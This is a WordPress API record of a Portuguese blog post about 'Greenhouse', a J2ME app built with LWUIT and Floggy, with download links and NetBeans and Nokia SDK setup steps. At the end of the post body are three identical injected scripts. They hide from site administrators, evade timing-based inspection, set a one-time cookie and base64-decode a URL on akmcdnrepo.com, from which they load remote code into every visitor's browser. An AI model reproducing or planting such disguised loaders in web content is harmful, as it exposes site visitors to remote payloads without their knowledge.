{"id":271,"date":"2010-09-22T23:16:26","date_gmt":"2010-09-23T02:16:26","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=271"},"modified":"2025-10-26T22:43:24","modified_gmt":"2025-10-27T01:43:24","slug":"aplicacao-completa-jme-com-lwuit-e-floggy","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/22\/aplicacao-completa-jme-com-lwuit-e-floggy\/","title":{"rendered":"Aplica\u00e7\u00e3o completa JME com LWUIT e Floggy"},"content":{"rendered":"<p style=\"text-align: justify;\">Hoje estou disponibilizando para todos o acesso ao fonte de uma aplica\u00e7\u00e3o que a gente fez em apenas em alguns dias... para ser sincero c\u00f3digo mesmo foi feito em apenas 4 dias (ou melhor 4 noites), tivemos mais tr\u00eas dias para escolha do nome,\u00a0 um dia para defini\u00e7\u00e3o da equipe, defini\u00e7\u00e3o de logotipo e defini\u00e7\u00f5es do caso de uso e 2 dias eu descansei e trabalhei em outras coisas... Ent\u00e3o foram 10 dias (somente tempo livre) contando todas as etapas para a aplica\u00e7\u00e3o completa. A id\u00e9ia genial do projeto surgiu do <a title=\"Egberto\" href=\"http:\/\/twitter.com\/egbertomendonca\" target=\"_blank\" rel=\"noopener\">Egberto<\/a>, alguns casos de uso e o v\u00eddeo tamb\u00e9m foi feito por ele,\u00a0 testes, casos de uso, colabora\u00e7\u00e3o com id\u00e9ias e algumas imagens como o logotipo foram feitos pelo <a title=\"\u00c9ver\" href=\"http:\/\/twitter.com\/eversantoro\" target=\"_blank\" rel=\"noopener\">\u00c9ver<\/a>. E eu fiz o c\u00f3digo.<\/p>\n<p style=\"text-align: justify;\">Quer\u00edamos participar do concurso da Nokia, mas n\u00e3o deu tempo de assinar a aplica\u00e7\u00e3o e ela n\u00e3o ficou como quer\u00edamos, ent\u00e3o n\u00e3o ganhamos, mas valeu como esperi\u00eancia. Como est\u00e1vamos prevendo o desenvolvimento com mais gente e acabou n\u00e3o dando certo, eu adotei uma estrutura de pacotes semelhante ao desenvolvimento web, j\u00e1 que a maioria que entrou no projeto vinha desse contexto e n\u00e3o de desenvolvimento mobile. O c\u00f3digo ainda tem alguns bugs, n\u00e3o est\u00e1 limpando alguns campos, mas a aplica\u00e7\u00e3o est\u00e1 funcional, embora n\u00e3o esteja otimizada. Tem tamb\u00e9m alguns erros de ingl\u00eas no v\u00eddeo... vamos corrigir depois \ud83d\ude42<\/p>\n<p style=\"text-align: justify;\">Utilizamos <a title=\"LWUIT\" href=\"http:\/\/lwuit.java.net\/\" target=\"_blank\" rel=\"noopener\">LWUIT<\/a> e <a title=\"Floggy\" href=\"http:\/\/floggy.sourceforge.net\/\" target=\"_blank\" rel=\"noopener\">Floggy<\/a> de framework para a aplica\u00e7\u00e3o. Abaixo est\u00e1 a descri\u00e7\u00e3o do projeto.<\/p>\n<p style=\"text-align: center;\"><span><span style=\"font-size: large;\">GREENHOUSE<\/span><\/span><\/p>\n<p style=\"text-align: center;\"><span>Sua consci\u00eancia ecol\u00f3gica!<\/span><\/p>\n<p style=\"text-align: center;\"><span><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"425\" height=\"344\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/2YaNqKnmPGY?hl=en&amp;fs=1\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"425\" height=\"344\" src=\"http:\/\/www.youtube.com\/v\/2YaNqKnmPGY?hl=en&amp;fs=1\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><br \/>\n<\/span><\/p>\n<p style=\"text-align: justify;\"><span>\"O efeito estufa \u00e9 gerado  pela derrubada de florestas, lan\u00e7amento de gases poluentes na atmosfera,  principalmente os que resultam da queima de combust\u00edveis f\u00f3sseis. Esse efeito ocasiona o super aquecimento do nosso planeta. O aplicativo greenhouse ser\u00e1 sua consci\u00eancia ecol\u00f3gica,  informando a voc\u00ea a quantidade de \u00e1rvores necess\u00e1rias para consumir o  CO2 produzido, de acordo com o meio de transporte automotivo.\"<\/span><\/p>\n<p style=\"text-align: justify;\">O projeto foi feito com Netbeans 6.9. O c\u00f3digo fonte encontra-se dispon\u00edvel para download pelo subversion: <a title=\"Greenhouse\" href=\"http:\/\/gvlabs.org\/svn\/mobile\/Greenhouse\/\" target=\"_blank\" rel=\"noopener\">http:\/\/gvlabs.org\/svn\/mobile\/Greenhouse\/<\/a><\/p>\n<p style=\"text-align: justify;\">Se voc\u00ea deseja somente instalar no seu celular, segue o download da aplica\u00e7\u00e3o: <a title=\"Greenhouse\" href=\"http:\/\/www.thiagovespa.com.br\/apps\/Greenhouse.zip\" target=\"_blank\" rel=\"noopener\">http:\/\/www.thiagovespa.com.br\/apps\/Greenhouse.zip<\/a><\/p>\n<p style=\"text-align: justify;\">Se voc\u00ea n\u00e3o sabe utilizar o subversion no Netbeans, aqui tem um breve tutorial: <a title=\"Subversion no Netbeans\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2010\/09\/20\/subversion-no-netbeans\/\" target=\"_blank\" rel=\"noopener\">http:\/\/www.thiagovespa.com.br\/blog\/2010\/09\/20\/subversion-no-netbeans\/<\/a><\/p>\n<p style=\"text-align: justify;\">Instala\u00e7\u00e3o do ambiente:<\/p>\n<ol>\n<li>Fazer download do Netbeans <a id=\"zpy8\" title=\"http:\/\/dlc.sun.com.edgesuite.net\/netbeans\/6.9\/rc\/\" href=\"http:\/\/dlc.sun.com.edgesuite.net\/netbeans\/6.9\/rc\/\"><\/a>Completo (J\u00e1 vem com o JME) e instalar. Quem tiver interesse pode instalar o JME SDK 3.0 tamb\u00e9m: <a id=\"uqe9\" title=\"http:\/\/java.sun.com\/javame\/downloads\/sdk30.jsp\" href=\"http:\/\/java.sun.com\/javame\/downloads\/sdk30.jsp\">http:\/\/java.sun.com\/javame\/downloads\/sdk30.jsp<\/a><\/li>\n<li>Abrir o Netbeans, ir em Tools, Plugins e atualiza-lo.<\/li>\n<li>Fazer o download do Perl: <a id=\"i1cu\" title=\"http:\/\/strawberry-perl.googlecode.com\/files\/strawberry-perl-5.12.0.1.msi\" href=\"http:\/\/strawberry-perl.googlecode.com\/files\/strawberry-perl-5.12.0.1.msi\">http:\/\/strawberry-perl.googlecode.com\/files\/strawberry-perl-5.12.0.1.msi<\/a> e instalar<\/li>\n<li>Reiniciar o computador<\/li>\n<li>Baixar o SDK da Nokia Symbian^3 0.8: <a id=\"aun1\" title=\"http:\/\/www.forum.nokia.com\/info\/sw.nokia.com\/id\/ec866fab-4b76-49f6-b5a5-af0631419e9c\/S60_All_in_One_SDKs.html\" href=\"http:\/\/www.forum.nokia.com\/info\/sw.nokia.com\/id\/ec866fab-4b76-49f6-b5a5-af0631419e9c\/S60_All_in_One_SDKs.html\">http:\/\/www.forum.nokia.com\/info\/sw.nokia.com\/id\/ec866fab-4b76-49f6-b5a5-af0631419e9c\/S60_All_in_One_SDKs.html<\/a><\/li>\n<li>Instalar o SDK da Nokia. A partir de agora voc\u00ea j\u00e1 pode abrir o emulador da Nokia<\/li>\n<li>Abrir  o Emulador e configurar data e hora. Pode usar o teclado do  computador, n\u00e3o precisa usar somente o teclado do celular.<\/li>\n<\/ol>\n<h3>Configura\u00e7\u00f5e Adicionais - Netbeans<\/h3>\n<h4><a id=\"Configurar_o_emulador_da_Nokia_27301797177642584\" name=\"Configurar_o_emulador_da_Nokia_27301797177642584\"><\/a>Configurar o emulador da Nokia<\/h4>\n<ol>\n<li>Tools, Java Platform, Add Platform, Java ME MIDP Platform, Next<\/li>\n<li>Verificar se encontrou o emulador da Nokia, Next<\/li>\n<li>Finish<\/li>\n<\/ol>\n<h4><a id=\"Configurar_a_lib_do_LWUIT_9946_017990650609135628\" name=\"Configurar_a_lib_do_LWUIT_9946_017990650609135628\"><\/a>Configurar a lib do LWUIT<\/h4>\n<ol>\n<li>Fa\u00e7a o Download do LWUIT em: <a id=\"y9.5\" title=\"http:\/\/java.sun.com\/javame\/technology\/lwuit\/\" href=\"http:\/\/java.sun.com\/javame\/technology\/lwuit\/\">http:\/\/java.sun.com\/javame\/technology\/lwuit\/<\/a> no bot\u00e3o Download LWUIT<\/li>\n<li>Descompacte ele em uma pasta<\/li>\n<li>V\u00e1 no netbeans, Tools, Libraries<\/li>\n<li>New Library..., Library Name: LWUIT, Library Type: Class Libraries<\/li>\n<li>Add Jar\/Folder, Escolher o LWUIT.jar que est\u00e1 na pasta lib do LWUIT, Apertar Ok<\/li>\n<\/ol>\n<h4><a id=\"Configurar_a_lib_do_Floggy_009\" name=\"Configurar_a_lib_do_Floggy_009\"><\/a>Configurar a lib do Floggy<\/h4>\n<ol>\n<li>Fa\u00e7a o Download do Floggy em: <a id=\"xkfz\" title=\"http:\/\/floggy.sourceforge.net\/download.html\" href=\"http:\/\/floggy.sourceforge.net\/download.html\">http:\/\/floggy.sourceforge.net\/download.html<\/a> na se\u00e7\u00e3o Main Bundle<\/li>\n<li>Descompacte ele em uma pasta<\/li>\n<li>V\u00e1 no netbeans, Tools, Libraries<\/li>\n<li>New Library..., Library Name: Floggy, Library Type: Class Libraries<\/li>\n<li>Add Jar\/Folder, Escolher o floggy-persistence-framework.jar que est\u00e1 na pasta lib do Floggy, Apertar Ok<\/li>\n<li>Abrir o arquivo build.xml (Visualizar por Window, Files) e mudar a  propriedade floggy.path para o caminho da instala\u00e7\u00e3o do floggy (Favor  n\u00e3o commitar o build.xml com suas altera\u00e7\u00f5es)<\/li>\n<\/ol>\n<h4><a id=\"Configurar_o_Checkstyle_781021_575730936601758\" name=\"Configurar_o_Checkstyle_781021_575730936601758\"><\/a>Configurar o Checkstyle (somente para commiters)<\/h4>\n<ol>\n<li>Ir em Tools, Plugin<\/li>\n<li>Settings, Add<\/li>\n<li>Name: Checkstyle, URL: <a title=\"http:\/\/www.sickboy.cz\/checkstyle\/autoupdate\/autoupdate-2.xml\" href=\"http:\/\/www.sickboy.cz\/checkstyle\/autoupdate\/autoupdate-2.xml\">http:\/\/www.sickboy.cz\/checkstyle\/autoupdate\/autoupdate-2.xml<\/a> - OK<\/li>\n<li>Avaliable Plugins, Reload Catalog<\/li>\n<li>Selecionar Checkstyle beans plugin e library, Install<\/li>\n<li>Confimar as op\u00e7\u00f5es at\u00e9 o final<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Espero que gostem. Quem quiser contribuir para melhorar esse projeto \u00e9 s\u00f3 me avisar que eu libero acesso como commiter no reposit\u00f3rio.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hoje estou disponibilizando para todos o acesso ao fonte de uma aplica\u00e7\u00e3o que a gente fez em apenas em alguns dias... para ser sincero c\u00f3digo mesmo foi feito em apenas 4 dias (ou melhor 4 noites), tivemos mais tr\u00eas dias <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/22\/aplicacao-completa-jme-com-lwuit-e-floggy\/\">Continue lendo  <span class=\"screen-reader-text\">  Aplica\u00e7\u00e3o completa JME com LWUIT e Floggy<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,5,4],"tags":[],"class_list":["post-271","post","type-post","status-publish","format-standard","hentry","category-java","category-jme","category-lwuit"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/271","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=271"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/271\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=271"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=271"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=271"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}